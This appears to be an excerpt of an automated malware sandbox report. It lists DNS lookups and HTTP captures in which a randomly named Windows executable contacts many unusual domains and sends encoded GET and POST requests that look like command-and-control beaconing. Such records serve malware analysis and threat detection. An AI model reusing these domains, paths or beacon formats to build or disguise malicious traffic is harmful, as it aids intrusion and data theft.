Oct 3, 2024 18:12:49.892512083 CEST	192.168.11.20	1.1.1.1	0x4ba	Standard query (0)	www.myplayamate.llc	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:13:03.201917887 CEST	192.168.11.20	1.1.1.1	0xab0f	Standard query (0)	www.kerennih31.click	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:13:16.620819092 CEST	192.168.11.20	1.1.1.1	0xaf1d	Standard query (0)	www.nuvsgloves.shop	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:13:31.773744106 CEST	192.168.11.20	1.1.1.1	0x470b	Standard query (0)	www.ciao83.top	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:13:59.283288002 CEST	192.168.11.20	1.1.1.1	0xbb78	Standard query (0)	www.diterra.shop	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:14:12.593020916 CEST	192.168.11.20	1.1.1.1	0x63c3	Standard query (0)	www.casadisole.org	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:14:27.027256012 CEST	192.168.11.20	1.1.1.1	0xb6b1	Standard query (0)	www.nnnvvehuqyl.bond	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:14:35.197643995 CEST	192.168.11.20	1.1.1.1	0xf07	Standard query (0)	www.030002626.xyz	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:14:49.319484949 CEST	192.168.11.20	1.1.1.1	0x3d82	Standard query (0)	www.nidedabeille.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:15:03.426552057 CEST	192.168.11.20	1.1.1.1	0x2480	Standard query (0)	www.pqoff.cyou	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:15:04.440397024 CEST	192.168.11.20	9.9.9.9	0x2480	Standard query (0)	www.pqoff.cyou	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 3, 2024 18:10:37.022139072 CEST	1.1.1.1	192.168.11.20	0x6fcc	No error (0)	drive.google.com		142.250.80.78	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:10:37.725225925 CEST	1.1.1.1	192.168.11.20	0xab4f	No error (0)	drive.usercontent.google.com		142.250.176.193	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:11:24.396662951 CEST	1.1.1.1	192.168.11.20	0x5cec	No error (0)	www.spectre.center		5.39.10.93	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:11:40.731271982 CEST	1.1.1.1	192.168.11.20	0x80c9	No error (0)	www.rbseating.shop	rbseating.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 18:11:40.731271982 CEST	1.1.1.1	192.168.11.20	0x80c9	No error (0)	rbseating.shop		162.250.125.14	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:11:54.256622076 CEST	1.1.1.1	192.168.11.20	0x5177	No error (0)	www.my1pgz.pro		156.227.17.86	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:12:08.657934904 CEST	1.1.1.1	192.168.11.20	0x686f	No error (0)	www.bejho.net		64.225.91.73	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:12:22.192182064 CEST	1.1.1.1	192.168.11.20	0xb654	No error (0)	www.guvosh.info		209.74.64.189	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:12:36.209285021 CEST	1.1.1.1	192.168.11.20	0x197d	No error (0)	www.animazor.online	redirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 18:12:36.209285021 CEST	1.1.1.1	192.168.11.20	0x197d	No error (0)	redirect.natrocdn.com	natroredirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 18:12:36.209285021 CEST	1.1.1.1	192.168.11.20	0x197d	No error (0)	natroredirect.natrocdn.com		85.159.66.93	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:12:50.060823917 CEST	1.1.1.1	192.168.11.20	0x4ba	No error (0)	www.myplayamate.llc	myplayamate.llc		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 18:12:50.060823917 CEST	1.1.1.1	192.168.11.20	0x4ba	No error (0)	myplayamate.llc		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:12:50.060823917 CEST	1.1.1.1	192.168.11.20	0x4ba	No error (0)	myplayamate.llc		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:13:03.328679085 CEST	1.1.1.1	192.168.11.20	0xab0f	No error (0)	www.kerennih31.click	kerennih31.click		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 18:13:03.328679085 CEST	1.1.1.1	192.168.11.20	0xab0f	No error (0)	kerennih31.click		104.223.44.195	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:13:16.726519108 CEST	1.1.1.1	192.168.11.20	0xaf1d	No error (0)	www.nuvsgloves.shop	nuvsgloves.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 18:13:16.726519108 CEST	1.1.1.1	192.168.11.20	0xaf1d	No error (0)	nuvsgloves.shop		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:13:16.726519108 CEST	1.1.1.1	192.168.11.20	0xaf1d	No error (0)	nuvsgloves.shop		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:13:32.234524012 CEST	1.1.1.1	192.168.11.20	0x470b	No error (0)	www.ciao83.top	ngsafh.dazhameizi.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 18:13:32.234524012 CEST	1.1.1.1	192.168.11.20	0x470b	No error (0)	ngsafh.dazhameizi.com	ngsafh.yiqingkepa.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 18:13:32.234524012 CEST	1.1.1.1	192.168.11.20	0x470b	No error (0)	ngsafh.yiqingkepa.com		103.149.183.47	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:13:32.234524012 CEST	1.1.1.1	192.168.11.20	0x470b	No error (0)	ngsafh.yiqingkepa.com		103.142.36.75	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:13:32.234524012 CEST	1.1.1.1	192.168.11.20	0x470b	No error (0)	ngsafh.yiqingkepa.com		103.149.183.23	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:13:59.481240034 CEST	1.1.1.1	192.168.11.20	0xbb78	No error (0)	www.diterra.shop		52.223.13.41	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:14:13.394351006 CEST	1.1.1.1	192.168.11.20	0x63c3	No error (0)	www.casadisole.org	casadisole.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 18:14:13.394351006 CEST	1.1.1.1	192.168.11.20	0x63c3	No error (0)	casadisole.org		93.125.99.74	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:14:27.140135050 CEST	1.1.1.1	192.168.11.20	0xb6b1	Name error (3)	www.nnnvvehuqyl.bond	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:14:35.693309069 CEST	1.1.1.1	192.168.11.20	0xf07	No error (0)	www.030002626.xyz	030002626.xyz		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 18:14:35.693309069 CEST	1.1.1.1	192.168.11.20	0xf07	No error (0)	030002626.xyz		65.21.196.90	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:14:49.874886036 CEST	1.1.1.1	192.168.11.20	0x3d82	No error (0)	www.nidedabeille.net	nidedabeille.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 18:14:49.874886036 CEST	1.1.1.1	192.168.11.20	0x3d82	No error (0)	nidedabeille.net		195.110.124.133	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:15:04.814119101 CEST	1.1.1.1	192.168.11.20	0x2480	No error (0)	www.pqoff.cyou	pqoff.cyou		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 18:15:04.814119101 CEST	1.1.1.1	192.168.11.20	0x2480	No error (0)	pqoff.cyou		176.123.9.220	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:15:05.191602945 CEST	9.9.9.9	192.168.11.20	0x2480	No error (0)	www.pqoff.cyou	pqoff.cyou		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 18:15:05.191602945 CEST	9.9.9.9	192.168.11.20	0x2480	No error (0)	pqoff.cyou		176.123.9.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

www.spectre.center

www.rbseating.shop

www.my1pgz.pro

www.bejho.net

www.guvosh.info

www.animazor.online

www.myplayamate.llc

www.kerennih31.click

www.nuvsgloves.shop

www.ciao83.top

www.diterra.shop

www.casadisole.org

www.030002626.xyz

www.nidedabeille.net

www.pqoff.cyou

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49725	5.39.10.93	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:11:24.587639093 CEST	520	OUT	GET /zerq/?sdqp=DdBtjpu0&SLTxDJ=JJygX/9Yqp2kCJm1X937CsoHlxMYbOn5BbW6iXsQ58IJmHXe+LE0Ahk0W9b16x8ck1wrZbbWmuYj5v7E2XXBWkCBLNkXiRXO/bLJPNeQGE5OCLVGIG7pjJ0= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.spectre.center Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:11:24.795361996 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 16:11:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 66 65 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 2d 52 55 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 68 65 61 64 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 65 63 65 63 65 63 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 76 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 65 63 65 63 65 63 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9f d0 b0 d1 80 d0 ba d0 be d0 b2 d0 b0 20 d1 81 d1 82 d0 be d1 80 d1 96 d0 bd d0 ba d0 b0 20 49 6d 65 6e 61 2e 55 41 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e [TRUNCATED] Data Ascii: 1ffe2<!DOCTYPE html><html lang="ru-RU" prefix="og: http://ogp.me/ns#" class="no-js"><head> <meta name="theme-color" content="#ececec" /> <meta name="msapplication-navbutton-color" content="#ececec" /> <meta charset="UTF-8" /> <title> Imena.UA</title> <link rel="icon" type="image/png" href="//img.imena.ua/i/32.png" sizes="32x32"> <link rel="icon" type="image/png" href="//img.imena.ua/i/96.png" sizes="96x96"> <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700,300&subset=latin,cyrillic" rel="stylesheet" type="text/css" /> <meta name="viewport" content="user-scalable=0, width=device-width, initial-scale=1" /> <link rel="stylesheet" href="https://img.imena.ua/css/media-set.css" type="text/css" /> <style> .park_domain_info { margin: 0 auto; max-width: 650px; text-align: center; } .park_domain_info p { font-size: 16px; padding-b [TRUNCATED]
Oct 3, 2024 18:11:24.795458078 CEST	1289	IN	Data Raw: 30 33 37 37 61 61 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 61 79 6f 75 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 Data Ascii: 0377aa; } </style></head><body> <div class="layout"> <div class="header_nav"> <header> <div class="reducer"> <div class="header_l ovh"> <a href=
Oct 3, 2024 18:11:24.795536041 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 66 69 72 73 74 5f 6e 61 76 5f 6c 69 20 6d 6f 62 5f 6e 61 76 5f 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <li class="first_nav_li mob_nav_3"> <div class="lang"> <div class="lang_curr"> <a href="#" class="lang_ua">
Oct 3, 2024 18:11:24.795593977 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 63 6f 6e 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <div class="icon"></div> <input type="radio" name="h_term" value="1" > <a href="https://www.imena.ua/en" class="l
Oct 3, 2024 18:11:24.795650005 CEST	1289	IN	Data Raw: 38 30 34 34 32 30 31 30 31 30 32 22 3e 2b 33 38 30 20 28 34 34 29 20 32 30 31 2d 30 31 2d 30 32 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 80442010102">+380 (44) 201-01-02</a> </li> <li class="curr"> <a href="/"></a> </li> <li>
Oct 3, 2024 18:11:24.795710087 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 Data Ascii: <li> <a href="https://www.imena.ua/domains/regtm" title=" "> </a> </li>
Oct 3, 2024 18:11:24.795766115 CEST	1289	IN	Data Raw: 3e d0 91 d0 bb d0 be d0 b3 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ></a> </li> <li class="mode_link"> <noindex><a href="/" class="show_desktop" rel="nofollow"> </a></noinde
Oct 3, 2024 18:11:24.795825005 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6f 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 61 6e 67 22 Data Ascii: </ol> </div> <div class="lang"> <div class="lang_curr"> <a href="/" class="lang_ua">
Oct 3, 2024 18:11:24.795886040 CEST	1289	IN	Data Raw: 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 69 6d 65 6e 61 2e 75 61 2f 65 6e 22 20 63 6c 61 73 73 3d 22 6c 61 6e 67 5f 65 6e 22 3e 45 4e 47 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: f="https://www.imena.ua/en" class="lang_en">ENG</a> </div> </div> <div> <label class="radio left checked">
Oct 3, 2024 18:11:24.795950890 CEST	1289	IN	Data Raw: 63 68 65 63 6b 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 5f 73 65 61 72 63 68 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 Data Ascii: check"> <div class="domain_search"> <div class="domain_search_bg"> <div class="domain_search_bg_container"> <div class="domain_search_bg_l"></div>
Oct 3, 2024 18:11:24.976135015 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 5f 6c 69 73 74 5f 6c 69 6e 65 20 63 68 61 6e 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c Data Ascii: <div class="domain_list_line change"> <div class="domain_list_elem" data-id="1" data-empty=" "> <label class="checkbox domain checked domain_front">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49726	162.250.125.14	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:11:40.839148045 CEST	790	OUT	POST /39es/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.rbseating.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.rbseating.shop Referer: http://www.rbseating.shop/39es/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 54 53 45 42 63 7a 66 7a 2b 52 50 6e 6e 65 55 69 79 6b 71 50 54 4d 70 31 4b 35 61 75 7a 30 78 76 56 55 75 67 75 75 67 46 30 67 61 78 75 4c 57 42 38 43 4d 5a 52 63 35 77 6e 45 79 47 6f 75 6f 68 38 39 2b 74 55 45 52 55 47 38 55 6f 36 34 47 63 4f 49 64 52 59 37 6c 78 34 78 53 66 35 79 2b 5a 37 78 70 2b 58 47 31 46 4b 70 31 77 77 75 73 4b 4a 4f 6f 74 47 4f 4b 50 48 48 31 31 35 2b 66 6e 41 47 6a 6c 69 41 36 42 53 46 4b 44 66 64 6c 71 76 71 54 54 36 70 49 50 57 61 50 55 66 57 6d 2f 72 2f 6d 6f 56 4d 48 72 47 56 2f 4a 67 56 4c 63 32 61 49 7a 31 46 32 39 4d 51 39 6d 4a 45 6b 4e 38 51 3d 3d Data Ascii: SLTxDJ=TSEBczfz+RPnneUiykqPTMp1K5auz0xvVUuguugF0gaxuLWB8CMZRc5wnEyGouoh89+tUERUG8Uo64GcOIdRY7lx4xSf5y+Z7xp+XG1FKp1wwusKJOotGOKPHH115+fnAGjliA6BSFKDfdlqvqTT6pIPWaPUfWm/r/moVMHrGV/JgVLc2aIz1F29MQ9mJEkN8Q==
Oct 3, 2024 18:11:41.401602030 CEST	1289	IN	HTTP/1.1 404 Not Found Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 link: <https://rbseating.shop/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked content-encoding: br vary: Accept-Encoding date: Thu, 03 Oct 2024 16:11:41 GMT Data Raw: 33 65 62 33 0d 0a f4 49 14 a2 a8 a6 fd 70 33 52 b4 7a 08 68 a4 2c 9c bf 7f 06 8e eb b1 ce fb 7f f3 55 fb 75 72 4e 17 fb 6b 7a 22 13 0e 00 81 d4 cf a1 2a 75 dc 26 e9 ef 93 f6 fd 6c 8f 06 22 2f 29 c4 20 c0 02 97 fa 94 e1 6e 31 e7 ad 96 fd 53 d3 de 9a 9a 71 d1 bf c0 ff 10 ff 07 20 1c bc 2d 69 2f 2b 1b af cf b1 fc 8f 53 03 11 10 05 9b 22 69 80 ba d6 eb 99 14 7d 8a 32 55 8a 36 65 7e d5 e5 ef fd bd 56 79 bb 17 21 e2 68 c3 c9 96 58 b0 40 90 51 d6 3b d1 81 1b fc ff df 0f be be 1c 48 96 02 b0 03 19 02 c1 80 dc f6 b9 e7 d2 7b 9f 2c 70 f7 6a e5 26 e3 c8 83 a6 ee 55 e3 82 61 00 21 da da 70 63 bb 61 01 87 30 5a 4e b2 a7 45 2d 50 36 e1 04 59 be cb a1 d1 fc 35 8f 88 20 43 d0 56 6f 19 b3 ea f4 6a 79 85 90 40 a4 a4 e9 ce 3f 86 5a 3f 66 f3 bf 1b 05 c4 19 54 20 bd c7 50 7d dd bb 4d 54 f0 13 8b a8 c4 a7 13 60 dd 5f c1 38 b5 76 fb aa 1b 6f 92 8e c4 97 bf 25 db 9a 5c dd 22 dd 26 ff be 88 b4 49 ce fd 6e e2 e6 39 dd e2 26 61 96 5c 42 0e 9f 45 bd b0 c9 7a 11 87 13 bd 7f c8 89 58 6a 8b 9b 2c d9 7e f6 f2 05 7c 6e 8d 7b 86 80 [TRUNCATED] Data Ascii: 3eb3Ip3Rzh,UurNkz"u&l"/) n1Sq -i/+S"i}2U6e~Vy!hX@Q;H{,pj&Ua!pca0ZNE-P6Y5 CVojy@?Z?fT P}MT`_8vo%\"&In9&a\BEzXj,~\|n{vttiFLfY'/1N=++<7?r4o>_gaZ8j<$\m?I?nF]tEvMA$p&+{:tsj#);iB_TB[t(,^a-Sh> qM^G#`+>NQ<8E~\|fqq8y8G<oRSR>8=uBL<N?@-5N~_1lr)d/WXAe+:y;6u#uB(SdK8mK;FrV/v&wsq1FA7(#mw~IF5hq$Z9q~~RGYjwQ*W\|GYk3Wl]Oq4Cem\|IJV4amNpH>gIc
Oct 3, 2024 18:11:41.401725054 CEST	1289	IN	Data Raw: 5e 0d e0 66 b3 09 0f f4 34 b2 4a fe f8 fe a5 8b 27 43 e5 21 25 36 94 3a 62 52 5b dd 24 05 e6 b7 84 4b 91 27 8f 7d 75 37 2b 1f fb aa ae 67 8f 7d 8d aa 7e ec 73 a5 aa c7 3e 5f ea 55 68 67 09 e8 37 dd 9f 03 fb e2 2a 2b ae 50 af ae 6a fd 78 d9 59 12 Data Ascii: ^f4J'C!%6:bR[$K'}u7+g}~s>_Uhg7*+PjxY$Zl2c_7LjU@o~%^[7!K{@We\|l}q&:@$l_X%Wtko1\|m^p2hk0.v%_8<u2T+)bT
Oct 3, 2024 18:11:41.401787043 CEST	1289	IN	Data Raw: f1 66 88 d3 71 32 ca 3b ce 95 5a 97 33 5b 8e e8 62 d0 44 c0 76 2d 30 e8 1d 4a e2 d7 ef 7d 75 11 d1 0b 79 26 57 d8 b2 f5 c8 05 27 f3 67 ef a9 86 9e cb 8c ad c7 43 c6 25 3a 0a 17 a1 02 ce 19 0e 19 3f e4 11 3f 7e ce 0f b3 1f 7f c6 0f f3 1f 7f ce 0f Data Ascii: fq2;Z3[bDv-0J}uy&W'gC%:??~9K./f?zGCiJRr2y^w+gEv={Nhli/dfhYvw(@#Ha@P;3,}d%GUGyv*j.<rHY`MeU\|
Oct 3, 2024 18:11:41.401849031 CEST	1289	IN	Data Raw: ca 9d ef fa 4e 54 41 9f 30 48 93 2b d5 7b 5e 30 96 c2 a8 a0 80 56 1b d7 dc cc 12 aa 91 da 5e 9c 91 e7 79 8b 60 3b 05 f9 2e 06 85 f5 f8 bb d2 57 78 67 74 ba 41 b8 e6 fd 95 1c 01 0d c1 f5 6a c8 b1 08 d7 1b d3 aa 56 96 be c5 35 fb 2a 72 79 4d ba aa Data Ascii: NTA0H+{^0V^y`;.WxgtAjV5*ryMvwv#,.U) W)QeH'nq:5aU8=xMP86lkVKjf.522}hs}h]U(Ie&tc6
Oct 3, 2024 18:11:41.401906967 CEST	1289	IN	Data Raw: a5 a6 69 67 9a 5e 5e 0d 87 ac 46 28 82 96 27 db 6c 82 ab 4f 7d 71 0d 46 3e 90 d9 56 98 bd 0c c6 7c 20 f9 56 58 bc 0c ca f2 66 5a 20 c7 e9 33 43 2d 21 90 e7 bb c9 62 1a d4 70 2c bc 12 c4 53 e3 65 b3 16 c5 52 bd 75 5b 3b 5d 76 05 7b eb a8 ee 6a f1 Data Ascii: ig^^F('lO}qF>V\| VXfZ 3C-!bp,SeRu[;]v{j"m>>pq>fMi,1-f4}hMkk%O2%\|UWP8VP'\%(cHm* ,{HG3JEe}$]5T]Na6E
Oct 3, 2024 18:11:41.401968002 CEST	1289	IN	Data Raw: 55 40 a2 33 6f 10 e2 d4 89 35 15 cc b2 38 94 1c f2 c2 38 f9 2e f4 5c 03 66 21 ea 02 32 a1 1c 39 de 4f 92 28 c7 fb 0e 06 a5 21 3f 4c 7f 63 6a 85 43 d4 39 53 37 d1 89 bf 89 fb fc 32 54 4e 72 36 f9 0b 4c c9 11 7e 13 5e db 33 f7 e6 44 41 2f 58 3e bb Data Ascii: U@3o588.\f!29O(!?LcjC9S72TNr6L~^3DA/X>r3@vBCQ,\|Cm]>_'[D{l`11XVy1l%e'1lC 8_2wZvGU_k`=6uVWBz%\I c]@mJN2!n+&
Oct 3, 2024 18:11:41.402035952 CEST	1289	IN	Data Raw: 80 40 55 5f d2 55 d5 22 2d f0 a6 17 01 80 54 71 4c 1c b3 61 09 de 34 27 2f e4 7c ca eb 5d 89 74 14 c8 c9 a9 70 ef 03 ce ba cb 00 a5 c1 b1 a7 59 2d 47 7d 1f 05 72 72 2a dc fb 80 f3 ee 72 40 69 6a 79 50 f3 a8 7b 14 c8 c9 a9 70 ef 03 9e 75 37 03 94 Data Ascii: @U_U"-TqLa4'/\|]tpY-G}rrr@ijyP{pu7uu99}:G7[xPxPQ99n%Kn(M-2Q 'qyuu(S_h`wizAth7$xTqruOxk>[7tV\l]
Oct 3, 2024 18:11:41.402098894 CEST	1289	IN	Data Raw: 71 1f f9 f5 79 39 08 e3 c2 7a ca 9b 60 aa 0b 99 12 d2 12 7b 14 5a c6 23 93 e9 42 7b 9a c7 d4 01 75 f2 50 19 1d 59 dc 5c 26 8a 48 47 ca 92 27 30 e8 54 a0 f3 e2 c5 33 17 1c 90 ca 4b 8c 6f cf e3 48 53 89 a9 d9 b2 12 69 8f cb 6b da d2 f3 22 f4 d2 32 Data Ascii: qy9z`{Z#B{uPY\&HG'0T3KoHSik"25k.-:M_Q:Qv[uh3IxD5J#f\|2/h^pa<;{jm7 \Yvl9v_z27<*B#"y#[o$zal
Oct 3, 2024 18:11:41.402162075 CEST	1289	IN	Data Raw: 3f 7b 1d b0 80 6c 1d f2 3e 9f 8b 59 01 f3 e9 ec d3 a3 65 26 e6 05 cc a6 3f 24 ba 4e f4 5f dc 29 82 c8 02 04 ca 87 39 4f 48 5e 00 4f 46 39 f9 0f 52 4e 78 52 40 3e e2 49 50 6c 46 f2 e4 ed 50 37 51 c0 29 fb c3 23 dc bb 8f f2 a8 1a b2 ac b7 d6 af 49 Data Ascii: ?{l>Ye&?$N_)9OH^OF9RNxR@>IPlFP7Q)#IS\f;)`T~nS!m8]V)vvg5qFpZ&zMjztV'MpTq'0ZhQ5K].c,rA,N3oefI.Sm]WNek!IgBB0
Oct 3, 2024 18:11:41.402230024 CEST	1289	IN	Data Raw: 25 f8 50 18 ee bd 93 2a d4 c9 f1 02 a5 c5 d3 23 b7 c6 26 97 d0 bb bc 36 e1 7c ed 01 70 2a 85 4c 65 39 07 4d 39 cc 1e 42 82 ac b9 70 76 27 b9 45 d0 04 8b 43 2b 56 c1 5e a8 5d fc e1 13 66 2e 04 8c 0d 5e 84 d1 24 49 cd 06 be 07 bf d3 c1 00 21 f8 db Data Ascii: %P#&6\|pLe9M9Bpv'EC+V^]f.^$I!f,`(P)EI[TiBTe). 8a !Nwi&:a:iT.xniF%y=/0L*AAT&/bDGsTZLebj#r0o>`-",E
Oct 3, 2024 18:11:41.501596928 CEST	1289	IN	Data Raw: 67 a3 17 a5 f7 8b ba 5d e5 d1 db 03 83 59 ac da a6 5f d8 b2 6d 16 7e 57 61 d0 a6 40 75 31 35 b7 ca 42 7a 35 c8 78 d9 eb 31 98 85 f6 09 86 cf 40 3d 00 2f 4b 01 a5 f7 8b ce d9 a6 5f 6c 4c bf 6e 35 59 fd 7f 13 43 a6 85 2a 44 53 41 e0 88 c6 00 97 c4 Data Ascii: g]Y_m~Wa@u15Bz5x1@=/K_lLn5YC*DSAj#~:$e`xJu\|VUev{bAM4J_h(a}9ly{NZB!0@2F.F8SBuQPm]7 :d

